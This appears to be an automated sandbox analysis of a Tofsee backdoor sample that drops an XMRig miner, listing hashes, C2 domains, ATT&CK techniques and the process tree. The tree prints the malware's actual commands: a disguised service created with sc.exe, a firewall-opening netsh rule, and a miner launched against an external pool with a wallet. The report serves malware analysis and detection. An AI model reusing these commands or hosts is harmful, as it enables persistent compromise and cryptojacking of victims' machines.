Overview

overview

10

Static

static

684d5c62ff...58.exe

windows7_x64

10

684d5c62ff...58.exe

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    27-01-2022 07:37

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General

  • Target

    684d5c62ffa1b2e8024c9ec17482d058.exe

  • Size

    333KB

  • MD5

    684d5c62ffa1b2e8024c9ec17482d058

  • SHA1

    3b205c2e5066e422702151b5eaa00ec444543874

  • SHA256

    9dd979c20bd6d843da8f29afc35c0ec2a79bcb5f5100a0d70103509e58c1c5f5

  • SHA512

    cf4a16a19c97fec5c74ac4dcb75bb4305b2437fa1b01490ec8e19574374beda204002902a5981b0ba51268e4e6e8b4cb7865c40dc3b4df068845831190dddba4

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

patmushta.info

ovicrush.cn

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner Payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\684d5c62ffa1b2e8024c9ec17482d058.exe
    "C:\Users\Admin\AppData\Local\Temp\684d5c62ffa1b2e8024c9ec17482d058.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2704
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\oxtqcjvj\
      2⤵
        PID:2700
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\bwlhbdbw.exe" C:\Windows\SysWOW64\oxtqcjvj\
        2⤵
          PID:3568
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create oxtqcjvj binPath= "C:\Windows\SysWOW64\oxtqcjvj\bwlhbdbw.exe /d\"C:\Users\Admin\AppData\Local\Temp\684d5c62ffa1b2e8024c9ec17482d058.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1160
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description oxtqcjvj "wifi internet conection"
            2⤵
              PID:868
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start oxtqcjvj
              2⤵
                PID:2780
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:4024
              • C:\Windows\SysWOW64\oxtqcjvj\bwlhbdbw.exe
                C:\Windows\SysWOW64\oxtqcjvj\bwlhbdbw.exe /d"C:\Users\Admin\AppData\Local\Temp\684d5c62ffa1b2e8024c9ec17482d058.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3676
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:2592
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2316

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Initial Access

              Execution

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Credential Access

              Discovery

              System Information Discovery

              1
              T1082

              Lateral Movement

              Collection

              Exfiltration

              Command and Control

              Impact

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\bwlhbdbw.exe
                MD5

                c543f6abef3347623fafca52b8543899

                SHA1

                d80feca0e1e3713621ea9cd304239a78a1438133

                SHA256

                4246133677c55fab9c8e2694b2933a1a227bc818060da733a1daa0b8e8747636

                SHA512

                593dd89cb204eab74d0441c4ef2ca5d4bab8d6e52e27e7aa884c453a43661fceb539849185c7714ec348b56b6b08265c17c1cc0059c0f0ed98b50c0f70e14a95

                Download Submit
              • C:\Windows\SysWOW64\oxtqcjvj\bwlhbdbw.exe
                MD5

                c543f6abef3347623fafca52b8543899

                SHA1

                d80feca0e1e3713621ea9cd304239a78a1438133

                SHA256

                4246133677c55fab9c8e2694b2933a1a227bc818060da733a1daa0b8e8747636

                SHA512

                593dd89cb204eab74d0441c4ef2ca5d4bab8d6e52e27e7aa884c453a43661fceb539849185c7714ec348b56b6b08265c17c1cc0059c0f0ed98b50c0f70e14a95

                Download Submit
              • memory/2316-126-0x0000000000A30000-0x0000000000B21000-memory.dmp
                Filesize

                964KB

                Download
              • memory/2316-130-0x0000000000A30000-0x0000000000B21000-memory.dmp
                Filesize

                964KB

                Download
              • memory/2592-121-0x0000000000A70000-0x0000000000A85000-memory.dmp
                Filesize

                84KB

                Download
              • memory/2704-115-0x0000000000810000-0x0000000000839000-memory.dmp
                Filesize

                164KB

                Download
              • memory/2704-116-0x00000000007B0000-0x00000000007C3000-memory.dmp
                Filesize

                76KB

                Download
              • memory/2704-117-0x0000000000400000-0x000000000047E000-memory.dmp
                Filesize

                504KB

                Download
              • memory/3676-124-0x0000000000560000-0x0000000000573000-memory.dmp
                Filesize

                76KB

                Download
              • memory/3676-125-0x0000000000400000-0x000000000047E000-memory.dmp
                Filesize

                504KB

                Download